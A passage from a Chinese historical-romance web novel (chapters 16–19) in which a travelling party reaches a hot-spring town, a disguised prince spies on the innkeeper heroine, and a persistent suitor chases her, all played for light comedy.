谁知七个人乱打一通，没一个人碰到晏信的衣襟。过了几招后，晏信利落地一个扫堂腿，把他们全都扫翻在地。
“以后再敢寻衅滋事，我就直接杀了你们。”晏信面色凶狠，那些人自然不敢再逞强，只得一个个跪在地上求饶。放他们离开后，晏信这才转头把包袱送了过去。
“小娘子别怕，坏人已经被我打跑了！”说着，他还毫不见外地拍拍秦千千肩膀，而后悬在半空中的手就要摸上她的脸。
秦千千赶忙后撤一步，避开他的动作。她心想今天真倒霉，又破财、又遇到流氓，本来以为来个正常人，谁知道也是个不折不扣的变态。
跟后面几个人打招呼时，晏信行为举止落落大方，一点轻浮的举止都没有。他双手抱拳，跟白邵禾他们行了个礼：“在下晏信，江湖浪子一名，平生唯一意愿就是行侠江湖、除暴安良！”
白邵禾面色略微不悦，这人怎么说的跟自己唬秦千千的差不多啊……桑风雪最懂江湖规矩，她看着那人点了个头，算是回礼。王老怪被早饭撑得不能正常思考，他打着哈欠摆手。
“晏公子好雅兴，不过我等还有要事就不能奉陪了。山高路远，咱们江湖再见。”说完他一溜烟地离开了，白邵禾元德也借机离开。桑风雪走之前还跟他对视了一眼，最后留在原地的也只有秦千千和桃花花。
“呃……你的朋友们好像不太喜欢我？”
“怎么可能！她们对我也是这样的。不过，我们真得赶路了，江湖再会！”说罢，秦千千绕过他，也往马车跑去。桃花花边跑还边朝他挥手，就这样，那群人一溜烟全走了。
晏信无奈地摇摇头，无妨，反正会再见的。
16. 涌泉镇
离开早餐铺后，又向南干了几个时辰的路。她们在一间小店稍作休整后又出发了。按照秦千千记在脑子中的路线，只要今夜不停赶路，那就能在明日正午，赶到涌泉镇。
涌泉镇，听也知道，就是温泉遍地的地方。有秦千千这个遍览天下事的人讲解，长途跋涉的旅程也不算多无聊。只不过，白邵禾发现，事关跌仙泉的事情，她却是闭口不提。
好不容易逮到秦千千有求必应的时候，桃花花最是不能放过。她用肩膀撞了撞她，想问些事情。
“你又来了是不是？又要问我送货的牛大柱，还是打杂的丁汇啊？”秦千千双手环胸，实在不想回答桃花花的问题，这丫头整天脑子里就是情情爱爱的……
最主要的是，她这一字千金的脑子，记那些杂役的琐碎家事，真的是人神共愤啊。
桃花花被她说的不开心，撅着嘴白了她一眼。谁说自己只看得上这些衙役的，她歪头想了个自己认知中最厉害的人。
“那你跟我说说，皇上的二儿子，我前几天在街上看到他骑着高头大马路过，可气派了。你跟我分析分析，我能不能嫁给他！”
白邵禾藏在袖子中的手不自觉地攥紧了，但依旧强撑着表面上的平静。二哥巡街那天，自己就在一旁与之同行。而且，要说气派，还得是自幼受宠的他比较气派。不过，他现在更希望没有人记得这事儿。
秦千千恨铁不成钢地给了她一个脑瓜崩，这眼光还能再差点吗？
“二皇子母亲是不受宠的妃子，说他他气派怎么可能？要气派也是那天跟他一起的三皇子穆轩岚比较气派啊！”
元德险些没有坐住，他喘着粗气，眼神飘忽不定。王老怪察觉到他的异常，用手摸了摸他的额头，也没发烧啊。一旁的白邵禾掌心都快抠破了，话题怎么还到自己身上了。
桃花花不服气地耸了下鼻子：“那你倒是给我说说，这个三皇子，他有没有婚配、喜欢什么人，我要怎么做才能嫁给他啊。”
“按照现在的情形来看，虽说他此次被贬，但没准就是做给别人看的。我觉得未来的储君，还是穆轩岚。”说到这里，秦千千散漫地翘起二郎腿，脚尖随着马车的颠簸一晃一晃的。
“你要想嫁给他，那得桑姐姐出出力了。”
这话说的桑风雪和桃花花都一头雾水，两个人疑惑地看着她。就连神色凝重的白邵禾也甚是疑惑，两个最坐不住的人问她为什么。
“什么意思？”
“为什么这么说？”
桑风雪和元德一前一后开口，秦千千故弄玄虚地笑了笑：“得桑姐姐去把穆轩岚戳瞎啊，这样才能选你做新娘嘛！”
不等她说完，桃花花就未卜先知地扑了过去，两个人在本就不宽敞的马车里打作一团。白邵禾悄然转头叹了口气，心想自己为什么要紧张，她若是真认得自己，那又怎么会跟自己同行到今天？
想通自己在杞人忧天后，白邵禾松开了手掌，正巧秦千千起身躲避桃花花，不知被谁的脚一拌，她一个没站稳就跌在白邵禾怀里。白邵禾揽住她的腰，防止她再从自己膝盖滑落。
恰逢外面车轮碾过一块儿凸起的石头，整车人都白邵禾这边颠了一下，包括秦千千。两人对视后，秦千千一脸错愕地攀着他的肩膀，从他怀中起身，坐在了他旁边。
安坐在秦千千原本位置的桃花花，坏笑着打趣她们：“你完了，你嫁不了皇子了，你只能嫁给白公子了！”
秦千千赶忙朝她摆手，嘴上嫌弃地说她在胡言乱语什么。
“老怪物，你有没有能药哑人的药啊，我觉得得弄两副给她喝喝了！”
眼看着两个人又要喋喋不休地吵起来，桑风雪赶忙揽住桃花花的肩膀，强行按住一方。秦千千也觉得，此情此景着实有些尴尬，于是两眼一眯，直接开睡了。
看她睡着，白邵禾悬着的心放下了一半。这些人中，他最提防的两个人，一个是秦千千，另一个就是桑风雪。秦千千看起来傻，指不定心思机敏着呢。至于桑风雪，白邵禾觉得她是有些脑子的，因此得提防一下。
在白邵禾昏昏欲睡的时候，肩头突然被重物一砸，他缓缓睁开了眼。原来是秦千千的脑袋，本着攻心大计，他轻轻扶着她的头，放在了自己肩上。
一直闭眼假寐的桑风雪，看了个真切。她屏气凝神，没有说一句话。晚上行路看不清路况，因此时不时山路就会颠簸一阵子。
白邵禾再次被颠醒的时候，他满脸不悦，谁知一睁眼就看到秦千千双腿盘坐在座位上，神情严肃地盯着她左手。而她的左手仿佛在测算什么一样，大拇指在其余指尖点来点去。
“你在算什么？”夜色微凉，白邵禾看其他人都沉沉睡去，便压低嗓音问她，谁知秦千千还是被他突然说话吓到了。秦千千浑身一颤，转头惊惶地盯着他。
“没什么，就是算算这老怪物今天花了我多少钱，剩下的钱还能不能支撑咱们接下来的旅程的。”
白邵禾万万没想到，这人半夜不睡，是为了算这个……他或许知道姜千秋为什么选她做掌柜的了，选个财迷管钱，这才是正道吧。
“没事，不够的话，我身上还带了一些，应该够我们花的。”白邵禾出门，身上的银票都是千两起步的。
“那太好了！到时候，你借我个五十两……不，三十两吧。”秦千千又掐指算了算，这才补充道：“你要是钱富裕，那就借我五十两，到时候我回京会还你的。而且到时候你不一定要跟我们回京，天涯海角，我找得到你的。”
白邵禾点头应允，他现在只庆幸，自己还好没把千两银票直接掏出来。只是只要五十两，他这里也没有那么小的银票啊……
“明日晚上，我把银票给你送过去。”
“不急，等我没了再给你要就好。再说我这还有差不多十两，够咱们一行人花好几天呢。”
秦千千不知道，她这句话又在白邵禾心中惊起波澜……
等众人再次下车的时候，一行人已经到了涌泉镇。如果说在锦宁县，以及这一路的人所有的装扮都符合初秋这个季节时，那涌泉镇的人的穿着可谓是清凉。
她们仿佛与别的地方的人不在一个季节，不管男女，都是身披轻纱，内衫也都是凉爽的绸缎。因此秦千千她们刚下车，就显得跟这里十分格格不入。
“……哎呀，看来咱们要去裁衣店做几件衣服了。”秦千千把袖子往上推，双手掐腰。
“我们要在这里呆很久吗？若是不久的话，也没必要裁制衣服吧。”白邵禾明知故问，装作不知道秦千千要在这里办事儿的样子。
“嗯，听说这里风光
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不错，咱们就在这里多待一段时间吧。不过大家放心，做衣服的钱，我来出。”秦千千难得阔气一把，桃花花高兴地都要跳起来了，这会儿王老怪也来捣乱。
“我之前途径过这里，听人说，这里的泉眼是可以买下来的。”他看到秦千千瞪得要掉地上的眼珠子，赶忙话锋一转，他也不是让秦千千买了。“我的意思是说，我们大可以包个泉眼，去泡泡汤嘛。”
秦千千差点被他的大喘气吓死，可为钱包着想，她没好气地回绝王老怪：“打住！这里按次掏钱也掏不了多少，所以你还是死了包场的心吧。”
“老板，温泉价格，这种琐碎的事情，也在咱们酒楼的范围内啊？”元德不解地问，贩卖各种江湖辛秘就算了，怎么连这种鸡毛蒜皮的事情，她都知道。
秦千千带领大家往前走，边走边跟他解释。“什么琐碎不琐碎，只要是信息，那就有价值。京都每天的菜价，也是我们的重要信息呢。”
嗬！
这个惊叹是元德发自肺腑的，没想到清风酒楼这么的产业，还看得上这仨瓜俩枣呢。一旁的王老怪嘴又开始闲不下来。
“你们老板这叫什么，矮脚貔貅，她高低通吃啊！”
说完，王老怪一溜烟就跑了，谁知道跑太急撞到了一个人。那人赶忙拉住他，这才没让他跌倒。王老怪一抬头，这不是老熟人吗？
“怎么是你？”
晏信整理了一下衣襟，面带笑容地开口：“不知有什么不妥，你不是说江湖再见吗？我们这不就是江湖再见。”
说罢，他歪头看向后面，那几个人显然也没猜到他已经到了这里。
清风酒楼第一宗旨，广结善缘少结仇。想到这里，秦千千干咳了两声，走上前跟他搭话。
“兄台看来已经混熟了嘛，不介意带我们去找间客栈吧？”
秦千千看到他早就换上的纱衣，就知道他一定是提前好几天到这里了。虽然不知道赖上她们的目的，但眼下还没撕下伪装的面具，那就有利用的价值。
晏信难掩嘴角的喜悦，他摆了个请的手势，开始事无巨细地跟她们讲起涌泉镇，仿佛他是当地人一样。
涌泉镇，顾名思义，大大小小都是温泉。这种天然资源，简直是得天独厚的宝藏。不说周边来这里泡汤的人络绎不绝，从百里之外闻名而来的人也不在少数。
而且整个涌泉镇地势平坦，非常适合旅游观光。整个镇子背靠的四座大山上，汇聚了大大小小、不尽其数的泉眼。但镇上不是所有人都仰赖温泉为生的。
“寻常人家，只能在镇上做点小生意什么的。毕竟那四座山是有主人的，除了花钱从他手里买泉眼，其他的人没有任何途径获得泉眼。”
晏信说到这里不仅啧啧感叹，有四座大山，不知道一天能赚多少钱。
“这四座山，都是一个主人吗？”白邵禾开口问他，不管晏信说几个人，那其中一定有姜千秋。
“是的，那人叫温玉泉。说出来你们可能不信，他都这么富了。他儿子还在京城做官呢，叫温文瑞。”
白邵禾眼神微颤，温文瑞，这人的确在京为官。他殿试的时候，自己也在，那人堂而皇之地说家庭贫困……好大的胆子，竟然敢欺瞒天子！
他心中杀意已决，看来今晚要修书回京了。
17. 泡温泉
众人跟着晏信到了他下榻的地方，红枫客栈。听他吹的天上有地上无的样子，秦千千对家客栈还是抱了很高的期待的。
谁知道进了所谓的上房一看，房间狭小逼仄，她都怀疑这人是怎么夸出口的。只不过鉴于这里确实便宜，她们也只得住在这里了。
好在这里有三人间，因此秦千千她们按照男女，直觉要了两个房间。而晏信，就住在白邵禾他们隔壁。秦千千三人的房间，则是白邵禾他们屋子的正对面。
住处安排妥当后，桃花花先下楼点菜，民以食为天，她都饿的前胸贴后背了。不一会儿王老怪和元德也下了楼。
“千千怎么没下来，她不下来谁给咱们结账啊！”王老怪走到桌边，抬头看着楼上。桃花花已经拿好筷子，等着上饭了。她拿筷子敲击着桌面，不在乎地说：“放心啦，吃吧，千千在账房放了几两银子的，所以现在这不是任我们吃嘛。”
秦千千的确是没空下来，她在屋中跟桑风雪交代一件事情。为了保密，她们还是聚在书案前，用笔写下来的。
【脂粉斋已经划入我们的麾下了，主人在想办法洗白这个产业】
桑风雪看完后，赶忙抓起那张纸放在蜡烛上点燃，看着灰烬落地后，她这才提笔写下自己的疑问。
【主人什么时候告诉你的？】
秦千千沉默着摇了摇头，桑风雪明白了，这是不能说的意思。桑风雪点头，这张纸燃尽后，她把笔递给秦千千。秦千千沉思一下，这才下笔：【晏信不是好人，警觉！】
全部烧干净后，两个人才出门下楼。听到她们走后，白邵禾这才打开窗，让潜在后院的暗卫进屋。那人从窗户无声跳进来后，单膝跪地行了个礼。
白邵禾递给他一个火漆封印的密函，那人双手接过，小声允诺：“殿下，属下一定尽早完成任务。”白邵禾挥了挥手，那人跳窗离开了。
谁知他刚出门的时候，正好撞上晏信。
“白公子，我看你仪表不凡，肯定是什么皇亲国戚吧？”
白邵禾抬眼面无表情地看着那人，这个晏信是什么来路，他还真没查到呢。不易轻举妄动，那就只能先按兵不动了。他勾了下嘴角，笑意却不达眼底。
“晏公子说笑了，我这满身铜臭气，怎能比的上阁下的放浪情怀。”
晏信还在思考这人到底是在夸自己，还是在挖苦自己的时候，白邵禾已经下楼了。刚走过楼梯的转角，王老怪就看到了他。王老怪高声喊他，还冲他摆手。
“这里这里！快来点菜吧！”
秦千千攥紧拳头，不甘地锤了一下桌面。现在五个人点了八个菜，还有一个清炖鸡汤。结果王老怪还提议白邵禾点菜……
“再点桌子都要放不下了哎！”
“没事儿，放不下我去隔壁吃。”王老怪坐在秦千千对面，仗着她打不到自己，一句话比一句话欠揍。
白邵禾一眼就知道这里发生了什么，他无意跟秦千千吵架，现在赢得她的心意，还是很重要的。
“这些已经够多了，咱们吃不了多少的。”
果然，秦千千听了这话，顿时心花怒放起来。可还没顺心多久，又一个麻烦精跳出了出来。
“大家不介意加一个我吧？”晏信就那么大大咧咧地站在一边，桑风雪想起秦千千说的话，她沉默着没有开口。“别这样嘛，大家闯荡江湖，多一个朋友多一条出路啊。”
说着，那人自顾自地坐在白邵禾身边，秦千千挑了下眉头，这人可真够臭不要脸的啊！但既然都坐下了，她也只好接受现状。
“吃吧！吃完上楼好好休息一下。”
秦千千加起一块儿凉拌黄瓜，还没放在自己嘴里，晏信就抬起左手挥了挥：“老板，我们这里再加几个菜！”
白邵禾默默观察着秦千千的表情，她仿佛对这个人很不满意，这样他就放心了。王老怪是个没心眼的人，又正巧他坐在晏信身边，于是整顿饭，就他们两个聊个没完。
秦千千一改拖延的毛病，飞快地吃完饭，准备上楼。白邵禾喊住了她，说待会儿一同去裁衣店，他出钱给大家做衣服。
“糊涂啊，白公子！就得让这一毛不拔的丫头，出来花点钱嘛！”
秦千千算是看明白了，这王老怪真就盯上她的小金库了啊。她双手环胸，剜了他一眼。“你闭嘴！既然白公子都这么说，那咱们就都挺他安排吧。要走的时候你们上楼喊我就行。”
走到晏信身边的时候，秦千千重重拍了下他的肩膀。
“晏公子气度不凡，还身着香云纱这等昂贵的衣物，待会儿就别去占便宜了啊。”
桃花花抿住嘴偷笑，是了，这才是她认识的牙尖嘴利的秦千千。她都把话挑明，晏信自然不会跟过去了。于是，吃完饭不久，他就出门，不知所踪了。
或许是因为这里的旅人很多，因此配套的店铺到处都是，就说他们住的这个客栈，出门就有三家成衣店。
对买衣服这种事情，秦千千是一点都不擅长，至于浪迹江湖的桑风雪，那就更不用说了。因此桃花花摇头一变，成了人群中最能指望上的人。
她们一家一家逛过去，试了一下午，终于在傍晚前直接买好了成衣。一人两身，够换洗就行，再多就是浪费了。
与当地人穿着的轻薄透纱不同，她们选择都是不透的那种外搭，里面的长衫也都是尽量轻便的料子。
秦千千选了两身青灰色衣服，桃花花选了一粉一绿，桑风雪和白邵禾他们几位都选了黑色的衣服。
“今天已经很让白公子破费了！”王老怪摸着身上的新衣服，心满意足地跟白邵禾客气。白邵禾笑着摇头，说这没什么。
“一路上承蒙各位照顾，我确实也没什么能做的。小小心意，不成敬意。”
他这一番“真情实感”，可惜秦千千没听到，她从下楼后就兴致不高的样子，现在也是一个人闷头走在前面。桃花花和桑风雪都有些跟不上她的步伐。
这人很显然心中有事儿。
白邵禾猜她在应该是为了怎么脱身，出去处理事情忧愁吧？反正不管她去哪，自己安排好的眼线一定会跟着她的。
不知为何，秦千千突然眉开眼笑地转身，提议大家去泡汤。<
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p>“既然白公子送了我们衣服，那我们就去温泉里泡泡，解解乏吧。这一路颠簸，真的是让人疲累的很。”她说的恳切，王老怪也非常赞同。
“是啊，这话算是说我心坎上了！依我看，咱们现在就去。然后晚上早些回来休息，有什么行程，那就明天再说。”
本来都要拍板定下来了，元德却突然站住来说不可。
“我们身上还有伤口呢，这不能去吧？万一伤口发炎了，这可怎么办？”
元德身上的伤好的差不多，但白邵禾的伤口还差得远。而且一路上完全没时间再次上药，因此白邵禾身上的伤，元德现在还不清楚怎么样了呢。
王老怪走到他身前，照着胸口给他来了一拳：“你这体格已经好的差不多了，怕什么！你这是不信我这个神医啊！”
元德忧愁地看了一眼白邵禾，只能道出原委。谁知王老怪一摆手，说这问题不大，那里有药泉，泡泡也有好处的。
白邵禾对此将信将疑，但当他看到药泉在一个单独的位置上时，他还是心动了。这个位置，可太方便他悄悄出去跟踪秦千千了。
四座温泉山，分成了两男两女。其中又分了上汤山和中汤山，据说是水质不同。因此，上汤山比中汤山的价格也贵了一倍。
上汤山一个人二十文，进山后不限时间。山上有盘旋上山的路，一路上有很多大大小小的温泉，想在哪里泡，就在哪里。
进山前不管男女都要换净服，也就是一身白色的衣服，就跟平时穿的亵衣一样。
从山脚下分道扬镳后，白邵禾就有意想跟王老怪分开，于是看到位于半山腰的药泉，他想也不想就说自己要去。元德懂他的意思，赶忙点头应允，帮着支走了王老怪。
得益于探子暗中探明这些山，只有山脚下的一个出入口。因此白邵禾就在这里等着，一有消息，探子就回来汇报。
而且山上也有女暗卫埋伏，白邵禾丝毫不担心，这么多人的协力下，还能跑得了秦千千。
可谁知等到王老怪和元德来找他，他也没有收到秦千千出去的消息。回到山脚下汇合的时候，秦千千哈欠连天。也就是桑风雪解释，他们才知道山上发生了什么。
“要不是我跟桃花看得紧，她几次差点栽进水池里，就那么困吗？”说到这里，桑风雪戳了一下她的脑袋。平时这可是秦千千的禁区，她不准任何人碰她脑袋的。
现如今却没有反应，她皱眉仇视所有人：“你们说完了没，咱们快点回去吧，我真的困了。”说完，她又打了个哈欠，简直下一秒就要睡着的样子。
“行行行，那咱们快点走吧。”王老怪赶忙摆手，别等她睡在这里，还得把她驮回去。
走到客栈门口，白邵禾说自己有东西忘在温泉了，元德陪他回去找。拐过两条街，他招来负责跟秦千千的暗卫莫凝歆。
“她的确在温泉中睡着了。而且，在另外两位死死看住她之前，我还出手拉了她一次。因为，当时她已经淹进水里，喝好几口水了……”
听她这么说，白邵禾简直无语到了极点，这让他的精心安排仿佛一个笑话。
18. 神秘兮兮地外出
秦千千连宵夜都没有吃，回客栈后直接上楼休息了。剩下的人留在楼下吃饭，白邵禾知道莫凝歆带人把守着四周，因此他安心留在楼下。
可心中灵光乍现，他突然想起晏信不会在楼上吧？等他急匆匆应酬完饭，上楼后，果然听到了秦千千房里有说话的声音。
白邵禾一步一步走过去，走到门口的时候，他礼貌地敲了敲门。屋中的谈话声突然停止了，秦千千喊了声“进”，白邵禾这才推开门走进屋。
“哦？晏公子怎么也在。”白邵禾明知故问，晏信勾唇一笑，从床边的椅子上站了起来。
“今日我在镇上见识了好多新鲜玩意儿，所以过来跟她说说。毕竟我一人在外，连个说话的人都没有，也不想下楼扫了你们的兴致。就像早上那样被赶走，实在是有点太难看了。”
晏信说到最后，脸上流露出一丝委屈。可惜白邵禾不吃这一套，况且白天赶走他的人是秦千千吧，怎么悄悄把矛盾转移到剩下人的身上……
眼看着这人倒打一耙，白邵禾丝毫不惯着他。
“晏公子明知道千千困的头都抬不起来，你还要拉着她说话。我都要怀疑，你接近她是不是有什么目的了。”
说罢，白邵禾看了一眼强打起精神的秦千千。很明显，她也是烦晏信的。而这也是，白邵禾态度突然强硬的原因。他无形之中在把自己划为秦千千的自己人，拉进两个人的距离。
谁知碰上对面这个不要命的。晏信若有所思地点点头，直接就承认了自己的确是有目的的接近她。
“这世间，男欢女爱的事情很正常，因此我觉得我喜欢她也不是什么说不出口的事情。既然白公子给了这个机会，那我就把自己的心意干脆说明白……”
晏信说到这里，突然转头看着秦千千，留白邵禾在原地惊愕。现在的人都这样子的吗？
秦千千不知是强打起精神，还是翻了白眼。她蹭地起来，走到晏信身边，食指竖在嘴边朝他嘘了一声。
“有什么事儿，明天跟我说好不好？”
没等晏信说什么，秦千千推搡着他，把他推出门外。那人无奈地点头，只得和颜悦色地离开。白邵禾觉得她奇怪，但也不想多留在这里碍眼。于是他掏出怀中的银票，递给了她。
“千千，我来是给你这个的。”
财迷如秦千千，他本来以为这人高低得再跟自己客套两句的，谁知道她收下后只说了句多谢，就把他也请出门了。
……
白邵禾面对着关上的门，一脸无语，自己二百两的银票，居然连个好脸色都没有买到。不过想想隔壁以身□□，却被扫地出门后，他心中也畅快了不少。
第二日白邵禾下楼的时候，他万万没想到，秦千千居然起得那么早。那人没有坐在桌子边等饭，她正站在客栈门口跟揽客的伙计说话。
白邵禾轻轻摇头，这人是不是把这里当成自己的清风酒楼了，她之前在京城的时候，天天都是这个样子。本想悄无声息的走过去，谁知揽客的伙计看到他后，推了一把秦千千。
“……”白邵禾不悦地挑了下眉，她可真行，这么快就混出一个线人了啊！看到他过来后，秦千千笑着跟他摆手，让他过来。
“白公子……”
“别叫白公子了，不介意的话，直接叫我白邵禾就行。反正，我昨天也直接叫你千千了。”白邵禾假装无意地又提起昨天的事情，秦千千仿佛被点醒了一般，她拉着白邵禾坐在桌边。
“你给我的钱太多了！你是不是把你从家里偷出来的钱，全给我了，没必要的。”
看她焦急的表情，白邵禾心中有了数，这人看来也是没有见过大钱啊。要真是用钱能买通，那就是最简单的办法了。
白邵禾一脸不在意地安慰她：“千千，别想那么多了，我自己也花不了这么多的。”
“那……谢谢你了，我回京后会尽早还你的。”
这边话音刚落，站在门口揽客的伙计猛地咳嗽起来，白邵禾不解地看了那人一眼。顺着伙计的目光，白邵禾看到一个人拾阶而下，看着那快端到天上的架子，不是晏信还能是谁。
“呦，两位起得真早啊。”
晏信神情自得，仿佛跟两个人很熟一样地打着招呼。秦千千抬手挠了挠头，脸上表情白邵禾看不懂，就只当她是嫌弃晏信难搞。
想起昨天的事情，白邵禾就默不作声地在一边看热闹。他想知道，秦千千究竟会怎么处理这种事情。这决定了，他以后要怎么在她面前表现自己。
“请坐！昨天你好像要跟我说什么事情，现在我正好没事，可以说了。”秦千千就跟昨天失忆了一样，她大大咧咧地问晏信，眼光还直勾勾地看着那人。
晏信错愕地呆滞了一下，而后他无奈地点头。
“我原本以为你昨天是在搪塞我，原来是真的不记得了啊。我昨天是说，我喜欢你。所以我才会一路跟着你们，才会想不停地接近你。”
秦千千不解地歪了下头，看着晏信因此停顿后，她轻声让他继续说。
“我这么说，只是不希望你，或者你们，以为我对你，抱有什么其他目的……”
“等等，你这还不算对我抱有什么目的啊。难不成，还有比这个更严重的目的吗？”
听到秦千千这么说，桌边的两个人都懵了。白邵禾在一旁抿着嘴憋笑，晏信也被她噎得不知道怎么说。秦千千一五一十地分析了起来。
“这对我来说，是仅次于要骗我钱的禁忌事件啊！毕竟图我钱的可恶，图我人的可怕。”说完，她一脸真诚地看着晏信，那行为放浪的人，现在连怎么开口都不知道。
晏信欲言又止，最后只能尴尬地舔了下嘴唇：“不是，我真的没有别的意思，就是想交你这个朋友而已。”
“哦。”
那人不咸不淡地出声，看着晏信再度吃瘪，白邵禾简直压抑不住自己上扬的嘴角。奇女子，秦千千真乃奇女子一个。
桃花花和桑风雪，以及王老怪和元德结伴下来。桃花花一看这架势，掩藏不住脸上的笑意。
“晏信是吧？你是不是跟千千表明心迹了啊。”
晏信惊讶地看着她，她是怎么知道的？桃花花抬手往下压了压，示意他平复一下心情，而后坏笑着看着秦千千，这才解释了起来。
“千千表情很少这么难看啊，上次见到，还是前年。”
秦千千破罐子破摔，反正她不说，
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桃花花也一定会说出去的，于是她干脆自己讲起了那年的故事。其实说来也简单，就是那年她被一个新招来的伙计给骗了，把她半年的积蓄给骗走了。
元德端着下巴沉思，不由得问了一句：“老板，你月俸多少，半年能攒多少啊？”
谁知秦千千皱眉瞪着他，元德正摸不着头脑的时候，王老怪喝了口酒这才畅快地给他解惑。
“你老板之前被新招的伙计骗，你这个新招的伙计问这个，不是太合适吧。”
一旁的桑风雪无奈地摇摇头，这清风酒楼现在到底怎么经营的，真是未来堪忧啊！
“行了行了，咱们赶紧吃饭吧，吃完饭，我们还有事情呢。”秦千千摆手让小二给她们上菜，一副火急火燎的样子。
“这两天不是说歇歇吗？昨天也没听到你说有什么事情啊。”王老怪不解地皱眉，还是说他昨晚喝的缺失了一段记忆，不应该啊。
“跟你们没关系，你们想往哪去就往哪去吧。我说的是我和桑姐姐，还有桃花，我们三个重要的事情要去做。”
说最后一句话的时候，她还特意强调了一下重要二字。白邵禾暗中观察另外两人的表情，桑风雪看着不怎么乐意，桃花花则是相反，兴奋都写在脸上了……
那究竟是什么样的事情呢？白邵禾很是好奇。
“我能去吗？”晏信转头看着她，秦千千捏着他的下巴，把他头转了过去。
“不行。”
就这样，三个人吃完饭，一溜烟消失在街市上。三人没走一会儿，晏信说自己有事情要出去，白邵禾却一把按住了他。他现在不能去跟踪秦千千，但看住晏信还是绰绰有余的。
“晏公子，自己逛也是无聊，不如我们几个玩行酒令吧。”
一说喝酒，彻底打开了王老怪的话匣子，他缠着众人一起玩。就这样他们四个坐在桌子上，喝了一天的酒。傍晚时分，号称千杯不醉的王老怪，也彻底晕的不省人事。
晏信也是路都走不了，东倒西歪的。为了彻底看死他，白邵禾让元德把他抬进自己屋中，时刻不让那人逃离自己的监视。
不一会儿，那三个人嘻嘻哈哈地回来了。白邵禾在屋中听得真切，秦千千和桃花花热烈地套路着什么，还时不时打趣两声桑风雪。
“嘘，别说了，再说被人听到了。”桑风雪使劲儿嘘了她们一声，而后白邵禾就听不到秦千千的声音了。
“不过我们说好，明天继续去啊。”
白邵禾不知道她说的是去哪，在他正在思考的时候，外面传来两声卖枣的叫卖声。这是他们定的暗号，白邵禾借故出门，元德继续留在这里看着这两位醉鬼。
听完莫凝歆的回报，白邵禾面色凝重，自己都听到了什么。
在涌泉镇有南暮烟、北琉珍，中间都是大温泉的说法。
大温泉说的就是遍地温泉的涌泉镇。而南暮烟北琉珍的南北，说的是涌泉镇的南北方，有两个非常大的店铺。不知这两个店铺老板是不是一个人，但它们经营的内容是一样的。
一个是女人逛的青楼，一个是男人逛的青楼。
白邵禾惊讶的是，秦千千三个人居然去南暮烟，看了一天的戏子歌舞……
19. 被抓包
听了莫凝歆汇报后，白邵禾无语地准备回去，但莫凝歆拿着油纸包好的一份青枣，硬着头皮递给他。殿下被气糊涂了，但她也不能直接提醒。
白邵禾接过青枣，一路都在平复心情，在敲响她们房门前，已经挂上了那副淡然的表情。听着哒哒哒跑过来的声音，白邵禾觉得来人一定是桃花花，毕竟另外两人不会跟她这么不稳重的……
“白公……邵禾，你来干什么？”秦千千难掩脸上的失措，而后她尴尬地笑了两声。
“刚刚在楼下买的青枣，要吃一些吗？而且，咱们什么时候下楼吃晚饭？”
秦千千转着眼珠想了一下，想起那些男仆喂她吃糕点的情形，突然笑出声来。察觉自己失态后，她赶忙摆手说晚上三个人不吃饭了。
眼前的门嘭的一声关上，白邵禾转头才一脸无语。这人是不是沉迷男色，导致忘了最重要的事情？就这样，他替姜千秋恨铁不成钢了两天。
到达涌泉镇的第四天，秦千千三人整日神龙见首不见尾。别说白邵禾怎么想，就连一向大大咧咧的王老怪都察觉到其中的不对劲儿了。
几个男人一合计，这才发现，就连究极主动的晏信，这几天也没跟秦千千搭上几句话……
这天早晨她们又要早些外出，几个人交换了个眼神，说是有事情跟她谈，谁知道秦千千答应的爽快，结果又悄悄溜走了。
“走吧，我们跟上她们。我是真的好奇，她们到底去哪里了。”王老怪又往嘴里塞了两口菜，这才起身追了过去。
除了王老怪，剩下的三人都是武功高强的能人，因此跟踪她们三个人还是绰绰有余的。原本桑风雪差点发现他们，她回头张望的时候，秦千千迫不及待地拉着她离开。
桑风雪竖着耳朵在听脚步，秦千千却在一旁吵她：“哎呀快走啦，待会儿占不到前排的位置，就不好玩了。”
就这样，桑风雪几乎是被拖走的。后面王老怪悄悄歪头出来看，确定她们都走后，这才长出了一口气。
“看似我们这里只有四个人，其实那里还有一个神之一手在帮我们呢。”
白邵禾和元德交换了个眼神，他们之前也这样感叹过，秦千千简直像是对家派去的内奸……晏信眼看着她们走远，赶忙催促他们跟上。
最后，四个人停在了一座四层高的店面前，牌匾上刻着三个大字：南暮烟。白邵禾与元德在揣着明白装糊涂，另外两个是真的不太清楚。
“这地方看着像是酒楼啊？”晏信抬手挠了挠头，这地方他还真没来过。一听到酒，王老怪可是来了兴致。他双手一拍，提议得进去看看。
“这不进去看看？走……”
谁知他刚走出两步，门口站着的两个壮汉就拦住了他。右边那个拉着王老怪的胳膊，把他往后一推，要不是晏信在后面服了一手，王老怪就要摔倒了。
王老怪的脾气也是一点就着，他指着那人就骂了起来。
“你们开门做生意，我们还不能进去了？哪有这种道理！”
那壮汉依旧面露凶光，他攥紧拳头在王老怪眼前挥了挥，警告似地开口说道：“这里的规矩，男人不允许进去。除非……除非你家娘子在里面。”
白邵禾不动声色地观察王老怪和晏信，他想看看，这两个人谁比较蠢一点。果然，更蠢一些的人自动跳了出来。
“对的对的，我娘子进去了，这是她爹，我们来找她的。”晏信言之凿凿，为了进去喝酒，王老怪只好认了莫名当爹这事儿。眼前守门的没笑，旁边另一个人却无情地嘲笑起来。
“你们这些新来的别来这里捣乱，只要是男的，都不准进去。再说，就算你说的是真的，你们进去不得大打出手。所以趁早死了这个心吧，快走快走！”
那人不耐烦地摆摆手，晏信这才回过味儿，自己是被骗了啊！可就在他们对峙的时候，有两个身姿欣长的男子，结伴走了进去。
晏信指着那人，正准备朝护卫发难，眼前的护卫抢先开了口：“他们跟你们不一样，他们是来赚钱的。”
在护卫耐心告罄前，王老怪总算察觉出不对劲儿，强行拉着晏信离开。白邵禾与元德跟在后面，四人就坐在街对面的茶摊上，饮茶解闷。
“王老怪，你不是也行走江湖多年，怎么对这里完全没有了解？我看这个楼挺气派的，应该在江湖上有点名头吧。”元德好奇地问。
他总觉得奇怪，王老怪一路上都没怎么说过江湖秘辛，他说的传闻，比秦千千说的少得多。于是，元德有事儿没事儿就会找他聊天，力求找到什么蛛丝马迹。
“此言差矣！你这话一说，我要说我什么都不知道，那我岂不是成了个草包？”
“所以你其实还是知道的是吧？”晏信一脸天真地问他，语气中甚至还带了一丝希冀。王老怪冲他笑了笑：“当然不知道。”
看他立马垂头丧气的样子，王老怪拍着他的肩膀鼓励他：“别丧气，不知道不代表咱们不能问啊！就咱俩了，走吧，我们去打探消息。看你这张脸，咱不得把这什么楼扒个底儿掉。元德，你俩在这儿等我们的好消息吧。”
